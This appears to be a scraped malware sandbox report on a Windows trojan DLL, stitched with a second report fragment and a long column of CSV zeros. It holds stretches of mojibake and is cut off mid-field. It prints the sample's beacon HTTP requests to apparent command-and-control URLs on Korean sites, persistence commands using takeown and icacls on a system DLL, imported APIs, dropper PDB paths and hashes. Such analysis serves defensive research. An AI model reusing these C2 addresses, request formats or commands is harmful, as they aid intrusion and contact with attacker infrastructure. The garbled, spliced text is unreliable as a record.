HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: solarshade.co.kr GET /eml/goods_list_ok.php?no=0&id=YH^0A00278A626A[0]&sn=5265868&sc=2e03e977aa881c76f7df783789a1e026 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: solarshade.co.kr GET /eml/goods_list_ok.php?no=0&id=YH^0A00278A626A[0]&sn=6906788&sc=412dd86c4ba55fde5144cf03627da841 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: solarshade.co.kr GetACP GetActiveWindow GetAdaptersInfo GetCommandLineA GetCommandLineW GetComputerNameA GetConsoleCP GetConsoleMode GetConsoleWindow GetCPInfo GetCurrentProcess GetCurrentProcessId GetCurrentThread GetCurrentThreadId GetDesktopWindow GetDriveTypeA GetEnvironmentStrings GetEnvironmentStringsW GetFileAttributesA GetFileInformationByHandle GetFileSize GetFileTime GetFileType GetLastActivePopup GetLastError GetLocaleInfoA GetLocaleInfoW GetLocalTime GetModuleFileNameA GetModuleFileNameW GetModuleHandleA GetModuleHandleW GetOEMCP GetProcAddress GetProcessHeap GetProcessWindowStation GetStartupInfoA GetStartupInfoW GetStdHandle GetStringTypeA GetStringTypeW GetSystemDirectoryA GetSystemTimeAsFileTime GetTcpTable GetTempFileNameA GetTempFileNameW GetTempPathA GetTempPathW GetTickCount GetTokenInformation GetUdpTable GetUserDefaultLCID GetUserObjectInformationA GetUserObjectInformationW GetVersion GetVersionExA GetWindowsDirectoryA HeapSetInformation HTTP/1.1 404 Not FoundDate: Mon, 11 Jun 2018 23:51:46 GMTServer: Apache/2.2.15 (CentOS)Content-Length: 301Connection: closeContent-Type: text/html; charset=iso-8859-1404 Not Found

Not Found

The requested URL /eml/goods_list_ok.php was not found on this server.


Apache/2.2.15 (CentOS) Server at solarshade.co.kr Port 80
HTTP/1.1 404 Not FoundDate: Mon, 11 Jun 2018 23:52:07 GMTServer: Apache/2.2.15 (CentOS)Content-Length: 301Connection: closeContent-Type: text/html; charset=iso-8859-1404 Not Found

Not Found

The requested URL /eml/goods_list_ok.php was not found on this server.


Apache/2.2.15 (CentOS) Server at solarshade.co.kr Port 80
HTTP/1.1 404 Not FoundDate: Mon, 11 Jun 2018 23:52:28 GMTServer: Apache/2.2.15 (CentOS)Content-Length: 301Connection: closeContent-Type: text/html; charset=iso-8859-1404 Not Found

Not Found

The requested URL /eml/goods_list_ok.php was not found on this server.


Apache/2.2.15 (CentOS) Server at solarshade.co.kr Port 80
I will sleep until 20%02d:%d:%d. Bye.. icacls ""%WINDIR%\\system32\\msimg64.dll"" /grant administrators:F IETldDllVersionHigh IETldDllVersionLow IETldVersionHigh IETldVersionLow iexplore.exe if not exist ""C:\\c9b65b764985dfd7a11d3faf599c56b8.exe"" goto done InfoTip InstallDate insufficient lookahead int support not loaded Invalid irc_errno value IsProcessorFeaturePresent IsValidLocale IsWow64Process loating point support not loaded Local LocalizedName LocalRedirectOnly LookupPrivilegeValueA ltithread lock error Microsoft Corporation Certificate Description. Microsoft Visual C++ Runtime Library Mozilla/4.0 (compatible; MSIE 6.0; Win32) mscoree.dll msimg64.dll NG error ntime Error!Program: o.pdbm1V OpenProcess OpenProcessToken OpenServiceA opt %lu(%lu) stat %lu(%lu) stored %lu lit %u dist %u output buffer too small for in-memory compression PidService Display Name======================= portuguese-brazilian Process32First Process32FirstW Process32Next Process32NextW ProtoLocal AddressForeign AddressState qrstuvwxyz[\\]^_`?{|}~ R6002- floating point support not loaded R6017- unexpected multithread lock error R6018- unexpected heap error R6032- not enough space for locale information R6033- Attempt to use MSIL code from this assembly during native code initializationThis indicates a bug in your application. It is most likely the result of calling an MSIL-compiled (/clr) function from a native constructor or from DllMain. R6034An application has made an attempt to load the C runtime library incorrectly.Please contact the application's support team for more information. rchy Descriptor' RegCloseKey RegCreateKeyExA RegDeleteValueA RegEnumKeyExA RegEnumValueA RegisteredOrganization RegisteredOwner RegOpenKeyExA RegQueryInfoKeyA RegQueryValueExA RegSetValueExA ReleaseMutex RSADecrypt - CryptImportKey RSAEncrypt - CryptImportKey RtlLookupFunctionEntry runtime error Runtime Error!Program: S^""Content-Type: application/octet-stream S^-----------------------------7d414e351603fa-- S^-----------------------------7d414e351603faContent-Disposition: form-data; name="" S^-----------------------------7d414e351603faContent-Disposition: form-data; name="" S^[ %d.%d.%d %d:%d:%d ] S^bind S^Content-Type: multipart/form-data; boundary=---------------------------7d414e351603fa S^Could not accept new connection S^gethostbyname S^gethostname S^getpeername S^getsockname S^http://lawbookcenter.co.kr/shop/temp/goods_list.php S^http://solarshade.co.kr/eml/goods_list_ok.php S^http=http://%s S^HttpAddRequestHeadersA S^HttpEndRequestA S^HttpOpenRequestA S^HttpQueryInfoA S^HttpSendRequestA S^HttpSendRequestExA S^InternetGetConnectedState S^IPv6 not supported S^IRC session terminated S^listen S^Mozilla/4.0 (compatible; MSIE 6.0; Win32) S^No error S^POST S^Read error S^Remote connection closed S^Socket error S^SOFTWARE\\Microsoft\\Internet Explorer\\Config\\Package S^SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion S^Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\ComputerDescriptions S^Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings S^Timeout error S^Write error S^WSAGetLastError searchindexer.exe Service Requested is already running. ServiceDll SetLastError ShellExecuteExW SHGetFolderPathW SING error solarshade.co.kr ssembly xmlns=""urn:schemas-microsoft-com:asm.v1"" manifestVersion=""1.0"">trueP StartServiceA sysprep\\sysprep.exe takeown /f ""%WINDIR%\\system32\\msimg64.dll"" TCP%-24s%-24sLISTENING ted multithread lock error TerminateProcess ThemeApiConnectionRequest There is no any started Win32 Services. There is no such a Service. This application has requested the Runtime to terminate it in an unusual way.Please contact the application's support team for more information. TLOSS error TlsGetValue Type Descriptor' ud.bat unexpected heap error uS2!SbS@!G2!1 Version wild scan winlogon.exe WriteProcessMemory www.google.com xmlns:dt=""uuid:C2F41010-65B3-11d1-A29F-00AA00C14882"" xmlns:rs=""urn:schemas-microsoft-com:rowset"" %SAMPLEDIR%\\1Mission\\Team_Project\\[2012.6 ~]\\HTTP Troy\\HttpDr0pper\\Win32\\Release\\3PayloadDll.pdb %SAMPLEDIR%\\1Mission\\Team_Project\\[2012.6 ~]\\HTTP Troy\\HttpDr0pper\\Win32\\Release\\HttpSecurityProvider.pdb %SAMPLEDIR%\\1Mission\\Team_Project\\[2012.6 ~]\\HTTP Troy\\HttpDr0pper\\x64\\Release\\3PayloadDll.pdb %SAMPLEDIR%\\1Mission\\Team_Project\\[2012.6 ~]\\HTTP Troy\\HttpDr0pper\\x64\\Release\\HttpSecurityProvider.pdb Zip-bug: an internal error during flation Zip-bug: internal initialisation not completed {09477111-DE61-43CD-A5AA-D9F7B489301F} {B4365893-6E19-11E8-989D-0A00278A626A} \xc3\x83\xc2\xaf\xc3\x82\xc2\xbb\xc3\x82\xc2\xbf2018-06-12 01:21:31, Error [0x0f0053] SYSPRP ValidateUser:User does not have required privileges to sysprep machine[gle=0x00000006]2018-06-12 01:21:31, Error [0x0f00a1] SYSPRP WinMain: User must be an administrator.[gle=0x00000006] \xc3\x83\xc2\xaf\xc3\x82\xc2\xbb\xc3\x82\xc2\xbf2018-06-12 01:21:31, Info SYSPRP ========================================================2018-06-12 01:21:31, Info SYSPRP === Beginning of a new sysprep run ===2018-06-12 01:21:31, Info SYSPRP ========================================================2018-06-12 01:21:31, Info [0x0f004d] SYSPRP The time is now 2018-06-12 01:21:312018-06-12 01:21:31, Info [0x0f004e] SYSPRP Initialized SysPrep log at %WINDIR%\\System32\\sysprep\\Panther2018-06-12 01:21:31, Error [0x0f0053] SYSPRP ValidateUser:User does not have required privileges to sysprep machine[gle=0x00000006]2018-06-12 01:21:31, Error [0x0f00a1] SYSPRP WinMain: User must be an administrator.[gle=0x00000006] \xc3\x83\xc2\xaf\xc3\x82\xc2\xbb\xc3\x82\xc2\xbf \xc3\x83\xc2\xaf\xc3\x82\xc2\xbb\xc3\x82\xc2\xbf \xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd?\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd \xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd?\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd \xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd\xc3\xaf\xc2\xbf\xc2\xbd Extracted Files Displaying 12 extracted file(s). The remaining 4 file(s) are available in the full version and XML/JSON reports. Malicious3 w7e2219.tmp Size 529KiB (541696 bytes) Type pedll executable Description PE32 executable (DLL) (GUI) Intel 80386, for MS Windows AV Scan Result Labeled as ""Gen:ExplorerHijack.Hu4@aWQ@tkgO"" (51/65) Runtime Process ~ER1AFA.tmp (PID: 2080) MD5 c95cfec9d538250f94e696138ecd6ab2 Copy MD5 to clipboard SHA1 421877621db7788691dad7b05ed4978d83a74a0a Copy SHA1 to clipboard SHA256 f6a4e3b12aa0e4e0ade8529b87b973c540a0df559818c9c0a437b5deb3e1333c Copy SHA256 to clipboard ~ER1AFA.tmp Size 1MiB (1091584 bytes) Type peexe executable Description PE32 executable (console) Intel 80386, for MS Windows AV Scan Result Labeled as ""Trojan.Generic"" (43/53) Runtime Process c9b65b764985dfd7a11d3faf599c56b8.exe (PID: 2084) MD5 1c91b0e3cf2e908f8ba10e7a4c741eb4 Copy MD5 to clipboard SHA1 116a619f191ef1daf7fb65a3d586fc4a87c364f5 Copy SHA1 to clipboard SHA256 2b4a35efb99528b48b722b06e33703debd9463e097734ae2799ac00792cc30d5 Copy SHA256 to clipboard ~ER24B7.tmp Size 225KiB (229888 bytes) Type pedll executable Description PE32 executable (DLL) (GUI) Intel 80386, for MS Windows AV Scan Result Labeled as ""Gen:Trojan.Heur.LP"" (37/50) Runtime Process sysprep.exe (PID: 3272) MD5 9b9a0edd4e8403b14badd659394ab491 Copy MD5 to clipboard SHA1 27b92ff5daa09d95afede6d86419a891a7906d95 Copy SHA1 to clipboard SHA256 b9441969f368c84b03275dde17fed0fea3a8022eeab9141c45ef22dd0dea3d6c Copy SHA256 to clipboard Informative Selection2 ud.bat Size 208B (208 bytes) Type text Description DOS batch file, ASCII text, with CRLF line terminators Runtime Process c9b65b764985dfd7a11d3faf599c56b8.exe (PID: 2084) MD5 83150164748876663b1561a516305d15 Copy MD5 to clipboard SHA1 19089f812ffa007b4ab564c96544cebc767eadb3 Copy SHA1 to clipboard SHA256 3fe77779a8d7c0b4f90489dd7a216f45fa101665b26201bea4ecd6c2108ea77f Copy SHA256 to clipboard desktop.ini Size Unknown (0 bytes) Type empty Runtime Process iexplore.exe (PID: 2672) Informative7 RecoveryStore.{B4365893-6E19-11E8-989D-0A00278A626A}.dat {B4365894-6E19-11E8-989D-0A00278A626A}.dat ~13785.tmp diagerr.xml diagwrn.xml Size 1.9KiB (1908 bytes) Type text Description UTF-8 Unicode (with BOM) text Runtime Process sysprep.exe (PID: 3272) MD5 d1e75542ec8d1b4851765a57ac63618e Copy MD5 to clipboard SHA1 a231451f545d3133e5d6a0487a59c5dbd01ee50e Copy SHA1 to clipboard SHA256 6c06bf950d0fe3476e020cd363ec0c8c9d4ee0fc89a24c50780c44e6453995c6 Copy SHA256 to clipboard setupact.log setuperr.log Notifications Runtime Community There are no community comments. You must be logged in to submit a comment. \xc2\xa9 2019 Hybrid Analysis \xe2\x80\x94 Terms & Conditions \xe2\x80\x94 Data Protection Policy","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"This website uses cookies to enhance your browsing experience. Please note that by continuing to use this site you consent to the terms of our Data Protection Policy. Toggle navigation Logo malicious Threat Score: 100/100AV Detection: 85%Labeled as: CVE-2017-0147 2a8efbfadd798f6111340f7c1c956bee This report is generated from a file or URL submitted to this webservice on May 30th 2018 16:29:22 (CEST) and action script Heavy Anti-Evasion Guest System: Windows 7 32 bit, Professional, 6.1 (build 7601), Service Pack 1 Report generated by Falcon Sandbox v8.10 \xc2\xa9 Hybrid Analysis Incident Response Risk Assessment Remote Access Reads terminal service related keys (often RDP related) Uses network protocols on unusual ports Persistence Grants permissions using icacls (DACL modification) Spawns a lot of processes Writes data to a remote process Fingerprint Reads the active computer name Reads the cryptographic machine GUID Spreading Detected a large number of ARP broadcast requests (network device lookup) Network Behavior Contacts 1 domain and 3088 hosts. Indicators Not all malicious and suspicious indicators are displayed. Get your own cloud service or the full version to view all details. Malicious Indicators20 External Systems Detected Suricata Alert Found an IP/URL artifact that was identified as malicious by a significant amount of reputation engines Sample was identified as malicious by a large number of Antivirus engines Sample was identified as malicious by at least one Antivirus engine General The analysis extracted a file that was identified as malicious The analysis spawned a process that was identified as malicious Installation/Persistance Allocates virtual memory in a remote process Writes data to a remote process Network Related Contacts very many different hosts Detected a large number of ARP broadcast requests (network device lookup) Malicious artifacts seen in the context of a contacted host Uses network protocols on unusual ports Pattern Matching YARA signature match System Security Modifies the access control lists of files Unusual Characteristics Checks for a resource fork (ADS) file Spawns a lot of processes Hiding 4 Malicious Indicators All indicators are available only in the private webservice or standalone version Suspicious Indicators25 Anti-Detection/Stealthyness Contains ability to open/control a service Queries kernel debugger information Queries the internet cache settings (often used to hide footprints in index.dat or internet cache) Anti-Reverse Engineering PE file has unusual entropy sections Environment Awareness Reads the active computer name Reads the cryptographic machine GUID External Systems Found an IP/URL artifact that was identified as malicious by at least one reputation engine General Contains ability to find and load resources of a specific module Installation/Persistance Drops executable files Network Related Detected increased number of ARP broadcast requests (network device lookup) Found potential IP address in binary/memory Pattern Matching Contains ability to download files from the internet Ransomware/Banking Contains many references to file extensions (often found in ransomware) Remote Access Related Reads terminal service related keys (often RDP related) System Destruction Marks file for deletion Opens file with deletion access rights System Security Modifies proxy settings Unusual Characteristics Imports suspicious APIs Installs hooks/patches the running process Hiding 6 Suspicious Indicators All indicators are available only in the private webservice or standalone version Informative15 Environment Awareness Possibly tries to detect the presence of a debugger General Contacts domains Contacts server Creates mutants GETs files from a webserver Process launched with changed environment Spawns new processes The input sample possibly contains the RDTSCP instruction Installation/Persistance Dropped files Touches files in the Windows directory Network Related Found potential URL in binary/memory System Security Creates or modifies windows services Opens the Kernel Security Device Driver (KsecDD) of Windows Unusual Characteristics Matched Compiler/Packer signature Reads information about supported languages File Details All Details: 2a8efbfadd798f6111340f7c1c956bee Filename 2a8efbfadd798f6111340f7c1c956bee Size 5MiB (5267459 bytes) Type pedll executable Description PE32 executable (DLL) (GUI) Intel 80386, for MS Windows Architecture WINDOWS SHA256 22dab012c3e20e3d9291bce14a2bfc448036d3b966c6e78167f4626f5f9e38d6Copy SHA256 to clipboard Compiler/Packer Microsoft visual C++ 6.0 DLL Resources Language ENGLISH Icon Sample Icon Visualization Input File (PortEx) PE Visualization Classification (TrID) 67.3% (.EXE) Win32 Executable MS Visual C++ (generic) 14.2% (.DLL) Win32 Dynamic Link Library (generic) 9.7% (.EXE) Win32 Executable (generic) 4.3% (.EXE) Generic Win/DOS Executable 4.3% (.EXE) DOS Executable Generic File Metadata File Compositions Imported Objects File Analysis 3 .OBJ Files (COFF) linked with LINK.EXE 6.00 (Visual Studio 6) (build: 8168) 1 .RES Files linked with CVTRES.EXE 5.00 (Visual Studio 5) (build: 1720) 1 .CPP Files compiled with CL.EXE 12.00 (Visual Studio 6) (build: 8168) 3 .LIB Files generated with LIB.EXE 7.10 (Visual Studio .NET 2003) (build: 4035) File Sections Details Name .text Entropy 1.44299712447 Virtual Address 0x1000 Virtual Size 0x28c Raw Size 0x1000 MD5 8de9a2cb31e4c74bd008b871d14bfafc Name .rdata Entropy 0.734601813362 Virtual Address 0x2000 Virtual Size 0x1d8 Raw Size 0x1000 MD5 3dd394f95ab218593f2bc8eb65184db4 Name .data Entropy 0.0852386864133 Virtual Address 0x3000 Virtual Size 0x154 Raw Size 0x1000 MD5 fe5022c5b5d015ad38b2b77fc437a5cb Name .rsrc Entropy 6.10865289671 Virtual Address 0x4000 Virtual Size 0x500060 Raw Size 0x501000 MD5 f016d5edc700b1685a0bdcec7c83cea4 Name .reloc Entropy 0 Virtual Address 